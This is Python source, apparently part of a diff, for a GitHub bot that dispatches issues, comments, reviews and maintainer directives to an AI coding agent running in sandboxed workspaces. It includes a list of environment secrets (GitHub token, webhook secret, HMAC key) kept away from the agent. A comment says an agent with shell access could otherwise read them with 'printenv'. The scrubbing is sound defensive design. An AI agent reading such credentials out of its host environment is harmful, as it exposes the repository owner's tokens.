|
||||
IssueInfo,
|
||||
PullRequestInfo,
|
||||
RepoInfo,
|
||||
parse_issue_payload,
|
||||
)
|
||||
from robomp.sandbox import GitTransport, SandboxManager
|
||||
from robomp.worker import DirectiveInfo, TaskInputs, ThreadMessage, run_task
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def _comment_from_payload(payload: Mapping[str, Any]) -> CommentInfo:
|
||||
c = payload.get("comment") or {}
|
||||
user = c.get("user") or {}
|
||||
return CommentInfo(
|
||||
id=int(c.get("id") or 0),
|
||||
author=str(user.get("login") or ""),
|
||||
body=str(c.get("body") or ""),
|
||||
created_at=str(c.get("created_at") or ""),
|
||||
)
|
||||
|
||||
|
||||
def _directive_from_payload(payload: Mapping[str, Any]) -> DirectiveInfo | None:
|
||||
"""Extract the maintainer directive the webhook handler stashed, if any."""
|
||||
raw = payload.get("_robomp_directive")
|
||||
if not isinstance(raw, Mapping):
|
||||
return None
|
||||
body = raw.get("body")
|
||||
author = raw.get("author")
|
||||
if not isinstance(body, str) or not body.strip():
|
||||
return None
|
||||
if not isinstance(author, str) or not author.strip():
|
||||
return None
|
||||
pragmas: list[tuple[str, str]] = []
|
||||
raw_pragmas = raw.get("pragmas")
|
||||
if isinstance(raw_pragmas, list):
|
||||
for entry in raw_pragmas:
|
||||
if isinstance(entry, (list, tuple)) and len(entry) == 2:
|
||||
k, v = entry
|
||||
if isinstance(k, str) and isinstance(v, str):
|
||||
pragmas.append((k, v))
|
||||
return DirectiveInfo(body=body, author=author, pragmas=tuple(pragmas))
|
||||
|
||||
|
||||
async def _fetch_thread(
|
||||
github: GitHubBackend,
|
||||
repo: str,
|
||||
number: int,
|
||||
*,
|
||||
is_pr: bool,
|
||||
) -> tuple[ThreadMessage, ...]:
|
||||
"""Pull the full conversation thread (body + comments + reviews) for `number`.
|
||||
|
||||
Best-effort: any sub-fetch that fails is logged + dropped so a stale
|
||||
review-comments endpoint doesn't block the directive from running.
|
||||
"""
|
||||
messages: list[ThreadMessage] = []
|
||||
|
||||
# 1. The issue / PR body itself. Use get_issue (issues endpoint also
|
||||
# returns PRs in GitHub's data model).
|
||||
try:
|
||||
item = await github.get_issue(repo, number)
|
||||
if item.body and item.body.strip():
|
||||
messages.append(
|
||||
ThreadMessage(
|
||||
kind="pr_body" if is_pr else "issue_body",
|
||||
author=item.author or "",
|
||||
body=item.body,
|
||||
created_at="", # not exposed by IssueInfo
|
||||
)
|
||||
)
|
||||
except GitHubError as exc:
|
||||
log.warning("thread body fetch failed", extra={"repo": repo, "n": number, "err": str(exc)})
|
||||
|
||||
# 2. Conversation comments (issue OR PR conversation).
|
||||
try:
|
||||
for c in await github.list_comments(repo, number):
|
||||
messages.append(
|
||||
ThreadMessage(
|
||||
kind="comment",
|
||||
author=c.author,
|
||||
body=c.body,
|
||||
created_at=c.created_at,
|
||||
)
|
||||
)
|
||||
except GitHubError as exc:
|
||||
log.warning("thread comments fetch failed", extra={"err": str(exc)})
|
||||
|
||||
if is_pr:
|
||||
# 3. Inline review comments (attached to a path:line).
|
||||
try:
|
||||
for r in await github.list_review_comments(repo, number):
|
||||
messages.append(
|
||||
ThreadMessage(
|
||||
kind="review_comment",
|
||||
author=r.author,
|
||||
body=r.body,
|
||||
created_at=r.created_at,
|
||||
path=r.path,
|
||||
line=r.line,
|
||||
)
|
||||
)
|
||||
except GitHubError as exc:
|
||||
log.warning("thread review-comments fetch failed", extra={"err": str(exc)})
|
||||
# 4. Top-level reviews (summaries).
|
||||
try:
|
||||
for rv in await github.list_pr_reviews(repo, number):
|
||||
messages.append(
|
||||
ThreadMessage(
|
||||
kind="review",
|
||||
author=rv.author,
|
||||
body=rv.body,
|
||||
created_at=rv.submitted_at,
|
||||
state=rv.state,
|
||||
)
|
||||
)
|
||||
except GitHubError as exc:
|
||||
log.warning("thread reviews fetch failed", extra={"err": str(exc)})
|
||||
|
||||
# ISO 8601 strings sort chronologically. Body has no timestamp so it
|
||||
# sorts first (empty string < any "2026-…" string).
|
||||
messages.sort(key=lambda m: m.created_at or "")
|
||||
return tuple(messages)
|
||||
|
||||
|
||||
async def _attach_thread(
|
||||
github: GitHubBackend,
|
||||
directive: DirectiveInfo | None,
|
||||
repo: str,
|
||||
number: int,
|
||||
*,
|
||||
is_pr: bool,
|
||||
) -> DirectiveInfo | None:
|
||||
"""Hydrate a directive with the live conversation thread (or no-op if None)."""
|
||||
if directive is None:
|
||||
return None
|
||||
thread = await _fetch_thread(github, repo, number, is_pr=is_pr)
|
||||
return DirectiveInfo(body=directive.body, author=directive.author, thread=thread, pragmas=directive.pragmas)
|
||||
|
||||
|
||||
async def _resolve_repo_and_issue(
|
||||
github: GitHubBackend,
|
||||
payload: Mapping[str, Any],
|
||||
) -> tuple[RepoInfo, IssueInfo]:
|
||||
repo, issue = parse_issue_payload(payload)
|
||||
if not issue.body:
|
||||
# Webhook payloads sometimes omit body; refetch to be safe.
|
||||
try:
|
||||
issue = await github.get_issue(repo.full_name, issue.number)
|
||||
except GitHubError as exc:
|
||||
log.warning("issue refetch failed", extra={"err": str(exc)})
|
||||
return repo, issue
|
||||
|
||||
|
||||
async def _resolve_issue_row_for_pr(
|
||||
*,
|
||||
db: Database,
|
||||
github: GitHubBackend,
|
||||
repo_full: str,
|
||||
pr_number: int,
|
||||
) -> tuple[IssueRow | None, PullRequestInfo | None]:
|
||||
"""Find the originating issue row for a PR, repairing stale mappings when possible."""
|
||||
issue_row = db.find_issue_by_pr(repo_full, pr_number)
|
||||
pr_info: PullRequestInfo | None = None
|
||||
if issue_row is None or issue_row.branch is None:
|
||||
try:
|
||||
pr_info = await github.get_pull_request(repo_full, pr_number)
|
||||
except GitHubError as exc:
|
||||
log.warning("PR metadata fetch failed", extra={"repo": repo_full, "pr": pr_number, "err": str(exc)})
|
||||
return issue_row, None
|
||||
|
||||
if issue_row is None and pr_info is not None and pr_info.head_ref:
|
||||
issue_row = db.find_issue_by_branch(repo_full, pr_info.head_ref)
|
||||
if issue_row is not None:
|
||||
db.set_issue_pr(issue_row.key, pr_number)
|
||||
issue_row = db.get_issue(issue_row.key) or issue_row
|
||||
elif issue_row is not None and issue_row.branch is None and pr_info is not None and pr_info.head_ref:
|
||||
db.set_issue_branch(issue_row.key, pr_info.head_ref)
|
||||
issue_row = db.get_issue(issue_row.key) or issue_row
|
||||
return issue_row, pr_info
|
||||
|
||||
|
||||
def _can_handle_pr_directly(*, settings: Settings, repo_full: str, pr: PullRequestInfo) -> bool:
|
||||
"""Only bot-owned same-repo PR branches are safe to amend directly."""
|
||||
if not pr.head_ref:
|
||||
log.info("skip: PR has no head ref", extra={"repo": repo_full, "pr": pr.number})
|
||||
return False
|
||||
if pr.author.lower() != settings.bot_login.lower():
|
||||
log.info(
|
||||
"skip: unmapped PR not authored by bot",
|
||||
extra={"repo": repo_full, "pr": pr.number, "author": pr.author},
|
||||
)
|
||||
return False
|
||||
if pr.head_repo.lower() != repo_full.lower():
|
||||
log.info(
|
||||
"skip: unmapped PR head is not this repo",
|
||||
extra={"repo": repo_full, "pr": pr.number, "head_repo": pr.head_repo},
|
||||
)
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
async def triage_issue(
|
||||
*,
|
||||
settings: Settings,
|
||||
db: Database,
|
||||
github: GitHubBackend,
|
||||
sandbox: SandboxManager,
|
||||
git_transport: GitTransport,
|
||||
payload: Mapping[str, Any],
|
||||
delivery_id: str,
|
||||
attempts: int = 0,
|
||||
slot_uid: int | None = None,
|
||||
) -> None:
|
||||
repo, issue = await _resolve_repo_and_issue(github, payload)
|
||||
if issue.is_pull_request:
|
||||
log.info("skip: triage on PR-like issue", extra={"repo": repo.full_name, "n": issue.number})
|
||||
return
|
||||
key = issue_key(repo.full_name, issue.number)
|
||||
if db.get_issue(key) is None:
|
||||
# First-time triage: bail if a PR (human or another bot) already
|
||||
# claims to close this issue via Closes/Fixes/Resolves syntax or
|
||||
# the Development panel. We never replay closing-PR detection on
|
||||
# a follow-up because by then the bot has already committed
|
||||
# resources (workspace, omp session) to this issue.
|
||||
try:
|
||||
closing_prs = await github.list_closing_pull_requests(repo.full_name, issue.number)
|
||||
except GitHubError as exc:
|
||||
# Fail-open: a transient timeline fetch failure shouldn't
|
||||
# block legitimate triage. Worst case we do redundant work.
|
||||
log.warning(
|
||||
"closing-PR check failed; proceeding with triage",
|
||||
extra={"key": key, "err": str(exc)},
|
||||
)
|
||||
closing_prs = ()
|
||||
if closing_prs:
|
||||
log.info(
|
||||
"skip: issue already covered by an open PR",
|
||||
extra={"key": key, "prs": list(closing_prs)},
|
||||
)
|
||||
return
|
||||
db.upsert_issue(key=key, repo=repo.full_name, number=issue.number, state="reproducing")
|
||||
clone_url = repo.clone_url
|
||||
workspace = sandbox.ensure_workspace(
|
||||
repo=repo.full_name,
|
||||
number=issue.number,
|
||||
title=issue.title,
|
||||
clone_url=clone_url,
|
||||
default_branch=repo.default_branch,
|
||||
author_name=settings.resolved_author_name,
|
||||
author_email=settings.git_author_email,
|
||||
slot_uid=slot_uid,
|
||||
)
|
||||
db.upsert_issue(
|
||||
key=key,
|
||||
repo=repo.full_name,
|
||||
number=issue.number,
|
||||
state="reproducing",
|
||||
branch=workspace.branch,
|
||||
session_dir=str(workspace.session_dir),
|
||||
)
|
||||
inputs = TaskInputs(
|
||||
settings=settings,
|
||||
db=db,
|
||||
github=github,
|
||||
git_transport=git_transport,
|
||||
repo=repo,
|
||||
issue=issue,
|
||||
workspace=workspace,
|
||||
delivery_id=delivery_id,
|
||||
attempts=attempts,
|
||||
slot_uid=slot_uid,
|
||||
natives_cache=sandbox.natives_cache,
|
||||
)
|
||||
await run_task(task_kind="triage_issue", inputs=inputs)
|
||||
|
||||
|
||||
async def handle_comment(
|
||||
*,
|
||||
settings: Settings,
|
||||
db: Database,
|
||||
github: GitHubBackend,
|
||||
sandbox: SandboxManager,
|
||||
git_transport: GitTransport,
|
||||
payload: Mapping[str, Any],
|
||||
delivery_id: str,
|
||||
attempts: int = 0,
|
||||
slot_uid: int | None = None,
|
||||
) -> None:
|
||||
repo, issue = await _resolve_repo_and_issue(github, payload)
|
||||
key = issue_key(repo.full_name, issue.number)
|
||||
existing = db.get_issue(key)
|
||||
directive = _directive_from_payload(payload)
|
||||
comment = _comment_from_payload(payload)
|
||||
clone_url = repo.clone_url
|
||||
|
||||
if existing is None:
|
||||
if directive is None:
|
||||
log.info("skip: comment on unknown issue", extra={"key": key})
|
||||
return
|
||||
# Maintainer summon on an untriaged issue: bootstrap a row + workspace,
|
||||
# then route through triage-with-directive so the agent classifies
|
||||
# first and executes the directive in the same RPC turn.
|
||||
log.info("directive bootstrap", extra={"key": key, "author": directive.author})
|
||||
db.upsert_issue(key=key, repo=repo.full_name, number=issue.number, state="reproducing")
|
||||
workspace = sandbox.ensure_workspace(
|
||||
repo=repo.full_name,
|
||||
number=issue.number,
|
||||
title=issue.title,
|
||||
clone_url=clone_url,
|
||||
default_branch=repo.default_branch,
|
||||
author_name=settings.resolved_author_name,
|
||||
author_email=settings.git_author_email,
|
||||
slot_uid=slot_uid,
|
||||
)
|
||||
db.upsert_issue(
|
||||
key=key,
|
||||
repo=repo.full_name,
|
||||
number=issue.number,
|
||||
state="reproducing",
|
||||
branch=workspace.branch,
|
||||
session_dir=str(workspace.session_dir),
|
||||
)
|
||||
inputs = TaskInputs(
|
||||
settings=settings,
|
||||
db=db,
|
||||
github=github,
|
||||
git_transport=git_transport,
|
||||
repo=repo,
|
||||
issue=issue,
|
||||
workspace=workspace,
|
||||
delivery_id=delivery_id,
|
||||
attempts=attempts,
|
||||
slot_uid=slot_uid,
|
||||
natives_cache=sandbox.natives_cache,
|
||||
)
|
||||
directive = await _attach_thread(github, directive, repo.full_name, issue.number, is_pr=False)
|
||||
await run_task(task_kind="triage_issue", inputs=inputs, directive=directive)
|
||||
return
|
||||
|
||||
if existing.state in ("merged", "closed", "abandoned"):
|
||||
if directive is None:
|
||||
log.info("skip: comment on finalized issue", extra={"key": key, "state": existing.state})
|
||||
try:
|
||||
await github.post_comment(
|
||||
repo.full_name,
|
||||
issue.number,
|
||||
persona.finalized_issue_comment(),
|
||||
)
|
||||
except GitHubError as exc:
|
||||
log.warning("ack comment failed", extra={"err": str(exc)})
|
||||
return
|
||||
# Maintainer reopen: tear down stale workspace, reset state, branch
|
||||
# afresh from default. The old branch may have been merged/deleted.
|
||||
log.info("directive reopen", extra={"key": key, "from_state": existing.state, "author": directive.author})
|
||||
sandbox.remove_workspace(repo=repo.full_name, number=issue.number)
|
||||
db.upsert_issue(key=key, repo=repo.full_name, number=issue.number, state="reproducing")
|
||||
workspace = sandbox.ensure_workspace(
|
||||
repo=repo.full_name,
|
||||
number=issue.number,
|
||||
title=issue.title,
|
||||
clone_url=clone_url,
|
||||
default_branch=repo.default_branch,
|
||||
author_name=settings.resolved_author_name,
|
||||
author_email=settings.git_author_email,
|
||||
slot_uid=slot_uid,
|
||||
)
|
||||
db.upsert_issue(
|
||||
key=key,
|
||||
repo=repo.full_name,
|
||||
number=issue.number,
|
||||
state="reproducing",
|
||||
branch=workspace.branch,
|
||||
session_dir=str(workspace.session_dir),
|
||||
)
|
||||
inputs = TaskInputs(
|
||||
settings=settings,
|
||||
db=db,
|
||||
github=github,
|
||||
git_transport=git_transport,
|
||||
repo=repo,
|
||||
issue=issue,
|
||||
workspace=workspace,
|
||||
delivery_id=delivery_id,
|
||||
attempts=attempts,
|
||||
slot_uid=slot_uid,
|
||||
natives_cache=sandbox.natives_cache,
|
||||
)
|
||||
directive = await _attach_thread(github, directive, repo.full_name, issue.number, is_pr=False)
|
||||
await run_task(task_kind="handle_comment", inputs=inputs, comment=comment, directive=directive)
|
||||
return
|
||||
|
||||
workspace = sandbox.ensure_workspace(
|
||||
repo=repo.full_name,
|
||||
number=issue.number,
|
||||
title=issue.title,
|
||||
clone_url=clone_url,
|
||||
default_branch=repo.default_branch,
|
||||
existing_branch=existing.branch,
|
||||
author_name=settings.resolved_author_name,
|
||||
author_email=settings.git_author_email,
|
||||
slot_uid=slot_uid,
|
||||
)
|
||||
inputs = TaskInputs(
|
||||
settings=settings,
|
||||
db=db,
|
||||
github=github,
|
||||
git_transport=git_transport,
|
||||
repo=repo,
|
||||
issue=issue,
|
||||
workspace=workspace,
|
||||
delivery_id=delivery_id,
|
||||
attempts=attempts,
|
||||
slot_uid=slot_uid,
|
||||
natives_cache=sandbox.natives_cache,
|
||||
)
|
||||
directive = await _attach_thread(github, directive, repo.full_name, issue.number, is_pr=False)
|
||||
await run_task(task_kind="handle_comment", inputs=inputs, comment=comment, directive=directive)
|
||||
|
||||
|
||||
async def handle_review(
|
||||
*,
|
||||
settings: Settings,
|
||||
db: Database,
|
||||
github: GitHubBackend,
|
||||
sandbox: SandboxManager,
|
||||
git_transport: GitTransport,
|
||||
payload: Mapping[str, Any],
|
||||
delivery_id: str,
|
||||
attempts: int = 0,
|
||||
slot_uid: int | None = None,
|
||||
) -> None:
|
||||
pr = payload.get("pull_request") or {}
|
||||
pr_number = int(pr.get("number") or 0)
|
||||
if pr_number <= 0:
|
||||
log.info("skip: review without PR number")
|
||||
return
|
||||
repo_payload = payload.get("repository") or {}
|
||||
repo_full = str(repo_payload.get("full_name") or "")
|
||||
if not repo_full:
|
||||
log.info("skip: review without repo")
|
||||
return
|
||||
issue_row, pr_info = await _resolve_issue_row_for_pr(
|
||||
db=db,
|
||||
github=github,
|
||||
repo_full=repo_full,
|
||||
pr_number=pr_number,
|
||||
)
|
||||
if issue_row is None:
|
||||
if pr_info is None or not _can_handle_pr_directly(settings=settings, repo_full=repo_full, pr=pr_info):
|
||||
return
|
||||
issue_number = pr_number
|
||||
existing_branch = pr_info.head_ref
|
||||
else:
|
||||
if issue_row.branch is None:
|
||||
log.info("skip: review PR missing branch mapping", extra={"repo": repo_full, "pr": pr_number})
|
||||
return
|
||||
issue_number = issue_row.number
|
||||
existing_branch = issue_row.branch
|
||||
try:
|
||||
repo = await github.get_repo(repo_full)
|
||||
issue = await github.get_issue(repo_full, issue_number)
|
||||
except GitHubError as exc:
|
||||
log.warning("review fetch failed", extra={"err": str(exc)})
|
||||
return
|
||||
clone_url = repo.clone_url
|
||||
workspace = sandbox.ensure_workspace(
|
||||
repo=repo.full_name,
|
||||
number=issue.number,
|
||||
title=issue.title,
|
||||
clone_url=clone_url,
|
||||
default_branch=repo.default_branch,
|
||||
existing_branch=existing_branch,
|
||||
author_name=settings.resolved_author_name,
|
||||
author_email=settings.git_author_email,
|
||||
slot_uid=slot_uid,
|
||||
)
|
||||
if issue_row is None:
|
||||
db.upsert_issue(
|
||||
key=issue_key(repo_full, pr_number),
|
||||
repo=repo_full,
|
||||
number=pr_number,
|
||||
state="opened",
|
||||
branch=workspace.branch,
|
||||
session_dir=str(workspace.session_dir),
|
||||
pr_number=pr_number,
|
||||
)
|
||||
comment = payload.get("comment") or {}
|
||||
user = comment.get("user") or {}
|
||||
review_payload = {
|
||||
"author": str(user.get("login") or ""),
|
||||
"body": str(comment.get("body") or ""),
|
||||
"path": str(comment.get("path") or ""),
|
||||
"line": comment.get("line"),
|
||||
"start_line": comment.get("start_line"),
|
||||
"original_line": comment.get("original_line"),
|
||||
}
|
||||
inputs = TaskInputs(
|
||||
settings=settings,
|
||||
db=db,
|
||||
github=github,
|
||||
git_transport=git_transport,
|
||||
repo=repo,
|
||||
issue=issue,
|
||||
workspace=workspace,
|
||||
delivery_id=delivery_id,
|
||||
attempts=attempts,
|
||||
slot_uid=slot_uid,
|
||||
natives_cache=sandbox.natives_cache,
|
||||
)
|
||||
await run_task(
|
||||
task_kind="handle_review",
|
||||
inputs=inputs,
|
||||
pr_number=pr_number,
|
||||
review_payload=review_payload,
|
||||
)
|
||||
|
||||
|
||||
async def handle_pr_conversation(
|
||||
*,
|
||||
settings: Settings,
|
||||
db: Database,
|
||||
github: GitHubBackend,
|
||||
sandbox: SandboxManager,
|
||||
git_transport: GitTransport,
|
||||
payload: Mapping[str, Any],
|
||||
delivery_id: str,
|
||||
attempts: int = 0,
|
||||
slot_uid: int | None = None,
|
||||
) -> None:
|
||||
"""Handle a regular (non-review) comment on a bot-authored PR.
|
||||
|
||||
The `issue_comment.created` payload's `issue.number` IS the PR number on
|
||||
these events; we resolve back to the originating issue via the DB and
|
||||
drive `handle_comment` so the agent works on the same session/branch.
|
||||
"""
|
||||
repo_payload = payload.get("repository") or {}
|
||||
repo_full = str(repo_payload.get("full_name") or "")
|
||||
issue_payload = payload.get("issue") or {}
|
||||
pr_number = issue_payload.get("number")
|
||||
if not repo_full or not isinstance(pr_number, int):
|
||||
log.info("skip: pr-conversation missing repo/number")
|
||||
return
|
||||
issue_row, pr_info = await _resolve_issue_row_for_pr(
|
||||
db=db,
|
||||
github=github,
|
||||
repo_full=repo_full,
|
||||
pr_number=pr_number,
|
||||
)
|
||||
if issue_row is None:
|
||||
if pr_info is None or not _can_handle_pr_directly(settings=settings, repo_full=repo_full, pr=pr_info):
|
||||
return
|
||||
directive = _directive_from_payload(payload)
|
||||
if issue_row is not None and issue_row.state in ("merged", "closed", "abandoned"):
|
||||
if directive is None:
|
||||
log.info("skip: pr-conversation on finalized issue", extra={"key": issue_row.key, "state": issue_row.state})
|
||||
# Still acknowledge so the reporter knows the bot saw it.
|
||||
try:
|
||||
await github.post_comment(
|
||||
repo_full,
|
||||
pr_number,
|
||||
persona.finalized_pr_comment(),
|
||||
)
|
||||
except GitHubError as exc:
|
||||
log.warning("ack comment failed", extra={"err": str(exc)})
|
||||
return
|
||||
# Maintainer reopen on a finalized PR: tear down stale workspace and
|
||||
# branch afresh on the originating issue. The agent will open a new
|
||||
# PR if code changes ship.
|
||||
log.info(
|
||||
"directive reopen (pr)",
|
||||
extra={"key": issue_row.key, "from_state": issue_row.state, "author": directive.author},
|
||||
)
|
||||
sandbox.remove_workspace(repo=issue_row.repo, number=issue_row.number)
|
||||
db.upsert_issue(key=issue_row.key, repo=issue_row.repo, number=issue_row.number, state="reproducing")
|
||||
issue_row = db.get_issue(issue_row.key) or issue_row
|
||||
# Bare @mention with no request body — the route stashes an empty
|
||||
# _robomp_directive; _directive_from_payload rejects it but the key
|
||||
# being present tells us a mention happened. Reply cheaply without omp.
|
||||
if directive is None and payload.get("_robomp_directive") is not None:
|
||||
comment = _comment_from_payload(payload)
|
||||
log.info(
|
||||
"bare mention, prompting for request", extra={"repo": repo_full, "pr": pr_number, "author": comment.author}
|
||||
)
|
||||
try:
|
||||
await github.post_comment(repo_full, pr_number, persona.bare_mention_reply())
|
||||
except GitHubError as exc:
|
||||
log.warning("bare mention reply failed", extra={"err": str(exc)})
|
||||
return
|
||||
issue_number = issue_row.number if issue_row is not None else pr_number
|
||||
try:
|
||||
repo = await github.get_repo(repo_full)
|
||||
issue = await github.get_issue(repo_full, issue_number)
|
||||
except GitHubError as exc:
|
||||
log.warning("pr-conversation fetch failed", extra={"err": str(exc)})
|
||||
return
|
||||
clone_url = repo.clone_url
|
||||
if issue_row is None:
|
||||
assert pr_info is not None
|
||||
existing_branch = pr_info.head_ref
|
||||
else:
|
||||
# On a reopen the prior branch is stale (merged/deleted), so branch from
|
||||
# default; otherwise reuse the existing branch.
|
||||
existing_branch = (
|
||||
None if directive and issue_row.state == "reproducing" and issue_row.branch is None else issue_row.branch
|
||||
)
|
||||
if existing_branch is None and not (directive and issue_row.state == "reproducing"):
|
||||
log.info("skip: pr-conversation PR missing branch mapping", extra={"repo": repo_full, "pr": pr_number})
|
||||
return
|
||||
workspace = sandbox.ensure_workspace(
|
||||
repo=repo.full_name,
|
||||
number=issue.number,
|
||||
title=issue.title,
|
||||
clone_url=clone_url,
|
||||
default_branch=repo.default_branch,
|
||||
existing_branch=existing_branch,
|
||||
author_name=settings.resolved_author_name,
|
||||
author_email=settings.git_author_email,
|
||||
slot_uid=slot_uid,
|
||||
)
|
||||
if issue_row is None:
|
||||
db.upsert_issue(
|
||||
key=issue_key(repo_full, pr_number),
|
||||
repo=repo_full,
|
||||
number=pr_number,
|
||||
state="opened",
|
||||
branch=workspace.branch,
|
||||
session_dir=str(workspace.session_dir),
|
||||
pr_number=pr_number,
|
||||
)
|
||||
elif directive is not None and (issue_row.branch is None or issue_row.branch != workspace.branch):
|
||||
db.upsert_issue(
|
||||
key=issue_row.key,
|
||||
repo=issue_row.repo,
|
||||
number=issue_row.number,
|
||||
state="reproducing",
|
||||
branch=workspace.branch,
|
||||
session_dir=str(workspace.session_dir),
|
||||
)
|
||||
comment = _comment_from_payload(payload)
|
||||
inputs = TaskInputs(
|
||||
settings=settings,
|
||||
db=db,
|
||||
github=github,
|
||||
git_transport=git_transport,
|
||||
repo=repo,
|
||||
issue=issue,
|
||||
workspace=workspace,
|
||||
delivery_id=delivery_id,
|
||||
attempts=attempts,
|
||||
slot_uid=slot_uid,
|
||||
natives_cache=sandbox.natives_cache,
|
||||
)
|
||||
directive = await _attach_thread(github, directive, repo_full, pr_number, is_pr=True)
|
||||
await run_task(task_kind="handle_comment", inputs=inputs, comment=comment, pr_number=pr_number, directive=directive)
|
||||
|
||||
|
||||
async def cleanup_workspace(
|
||||
*,
|
||||
settings: Settings,
|
||||
db: Database,
|
||||
sandbox: SandboxManager,
|
||||
payload: Mapping[str, Any],
|
||||
target_state: IssueState,
|
||||
) -> None:
|
||||
"""Tear down the workspace for a finished issue/PR."""
|
||||
repo_payload = payload.get("repository") or {}
|
||||
repo_full = str(repo_payload.get("full_name") or "")
|
||||
if not repo_full:
|
||||
return
|
||||
issue_payload = payload.get("issue") or payload.get("pull_request") or {}
|
||||
number = issue_payload.get("number")
|
||||
if not isinstance(number, int):
|
||||
return
|
||||
# If this is a PR close, map to the originating issue.
|
||||
issue_row: IssueRow | None
|
||||
if "pull_request" in payload:
|
||||
issue_row = db.find_issue_by_pr(repo_full, number)
|
||||
else:
|
||||
issue_row = db.get_issue(issue_key(repo_full, number))
|
||||
if issue_row is None:
|
||||
return
|
||||
sandbox.remove_workspace(repo=issue_row.repo, number=issue_row.number)
|
||||
db.set_issue_state(issue_row.key, target_state)
|
||||
log.info("cleanup", extra={"key": issue_row.key, "state": target_state})
|
||||
|
||||
|
||||
__all__ = [
|
||||
"cleanup_workspace",
|
||||
"handle_comment",
|
||||
"handle_pr_conversation",
|
||||
"handle_review",
|
||||
"triage_issue",
|
||||
]
|
||||
@@ -0,0 +1,689 @@
|
||||
"""Per-task RpcClient driver.
|
||||
|
||||
The orchestrator calls `run_task(...)` from within an asyncio loop. The
|
||||
function spins up `RpcClient` on a worker thread, drives the kickoff/follow-up
|
||||
prompt, and returns when the agent emits `agent_end`.
|
||||
|
||||
Host tools call back into the orchestrator's GitHub client and DB. Because the
|
||||
RpcClient runs in its own subprocess and the host-tool callbacks are dispatched
|
||||
on the RpcClient's stdout-reader thread, the callbacks block until coroutines
|
||||
scheduled onto the parent loop complete (`asyncio.run_coroutine_threadsafe`).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import os
|
||||
import shutil
|
||||
import threading
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
from omp_rpc import (
|
||||
MessageUpdateEvent,
|
||||
RpcClient,
|
||||
RpcError,
|
||||
RpcProcessExitError,
|
||||
ToolExecutionEndEvent,
|
||||
)
|
||||
|
||||
from robomp import host_tools, persona, pragmas
|
||||
from robomp.cancellation import register_cancel_hook, unregister_cancel_hook
|
||||
from robomp.config import Settings
|
||||
from robomp.db import Database, issue_key
|
||||
from robomp.github_backend import GitHubBackend
|
||||
from robomp.github_client import CommentInfo, IssueInfo, RepoInfo
|
||||
from robomp.host_tools import AbortController, ToolBindings, _git_identity_env
|
||||
from robomp.natives_cache import NativesCache
|
||||
from robomp.natives_cache import compute_key as natives_compute_key
|
||||
from robomp.sandbox import GitTransport, Workspace, _prepare_slot_runtime_env, _safe_directory_env
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
|
||||
@dataclass(slots=True)
|
||||
class TaskInputs:
|
||||
"""Common context shared by every task type."""
|
||||
|
||||
settings: Settings
|
||||
db: Database
|
||||
github: GitHubBackend
|
||||
git_transport: GitTransport
|
||||
repo: RepoInfo
|
||||
issue: IssueInfo
|
||||
workspace: Workspace
|
||||
delivery_id: str
|
||||
attempts: int = 0
|
||||
slot_uid: int | None = None
|
||||
natives_cache: NativesCache | None = None
|
||||
|
||||
|
||||
@dataclass(slots=True, frozen=True)
|
||||
class ThreadMessage:
|
||||
"""One entry in the conversation a directive carries to the agent."""
|
||||
|
||||
kind: str # issue_body | pr_body | comment | review_comment | review
|
||||
author: str
|
||||
body: str
|
||||
created_at: str
|
||||
path: str | None = None # review_comment only
|
||||
line: int | None = None # review_comment only
|
||||
state: str | None = None # review only (APPROVED / CHANGES_REQUESTED / COMMENTED)
|
||||
|
||||
|
||||
@dataclass(slots=True, frozen=True)
|
||||
class DirectiveInfo:
|
||||
"""A maintainer's `@bot` mention captured as an authoritative instruction.
|
||||
|
||||
`thread` is the full conversation context (issue/PR body + every prior
|
||||
comment + every review) up to the moment the directive fired.
|
||||
"""
|
||||
|
||||
body: str
|
||||
author: str
|
||||
thread: tuple[ThreadMessage, ...] = ()
|
||||
pragmas: tuple[tuple[str, str], ...] = ()
|
||||
|
||||
|
||||
def _resolve_pragma_overrides(
|
||||
directive: DirectiveInfo | None,
|
||||
settings: Settings,
|
||||
) -> tuple[str | None, pragmas.ThinkingLevel | None]:
|
||||
"""Return `(model_override, thinking_override)` for the current directive.
|
||||
|
||||
`None` for either means "no override, use the settings default". Aliases
|
||||
that don't match anything in the pool / level set are dropped (caller logs
|
||||
the discard at the callsite that has access to issue_key).
|
||||
"""
|
||||
if directive is None or not directive.pragmas:
|
||||
return None, None
|
||||
model_value = pragmas.pragma_value(directive.pragmas, "model")
|
||||
thinking_value = pragmas.pragma_value(directive.pragmas, "thinking")
|
||||
model_override = pragmas.resolve_model_alias(model_value, settings.model_pool) if model_value else None
|
||||
thinking_override = pragmas.resolve_thinking_level(thinking_value) if thinking_value else None
|
||||
return model_override, thinking_override
|
||||
|
||||
|
||||
_SCRUBBED_ENV_KEYS: tuple[str, ...] = (
|
||||
# Secrets that MUST NOT reach the agent subprocess; an agent with the
|
||||
# `bash` tool could otherwise `printenv` them out of roboomp's env.
|
||||
"GITHUB_TOKEN",
|
||||
"GITHUB_WEBHOOK_SECRET",
|
||||
"ROBOMP_REPLAY_TOKEN",
|
||||
"ROBOMP_GH_PROXY_HMAC_KEY",
|
||||
)
|
||||
|
||||
_AGENT_HOME = Path("/srv/agent-home")
|
||||
_AGENT_HOME_STAGE = Path("/srv/agent-home-stage")
|
||||
|
||||
|
||||
def _stage_agent_home() -> None:
|
||||
"""Copy late-appearing staged agent config into the runtime HOME."""
|
||||
if not _AGENT_HOME_STAGE.exists():
|
||||
return
|
||||
|
||||
for rel in (Path(".agent"), Path(".omp/agent")):
|
||||
src = _AGENT_HOME_STAGE / rel
|
||||
if not src.exists():
|
||||
continue
|
||||
|
||||
dst = _AGENT_HOME / rel
|
||||
try:
|
||||
if os.path.lexists(dst):
|
||||
if dst.is_dir() and not dst.is_symlink():
|
||||
shutil.rmtree(dst)
|
||||
else:
|
||||
dst.unlink()
|
||||
dst.parent.mkdir(parents=True, exist_ok=True)
|
||||
shutil.copytree(src, dst, dirs_exist_ok=True)
|
||||
except OSError as exc:
|
||||
log.warning("Failed to stage agent home path %s: %s", rel, exc)
|
||||
|
||||
if not _AGENT_HOME.exists():
|
||||
return
|
||||
|
||||
chown_to_root = os.geteuid() == 0
|
||||
for root, dirs, files in os.walk(_AGENT_HOME):
|
||||
root_path = Path(root)
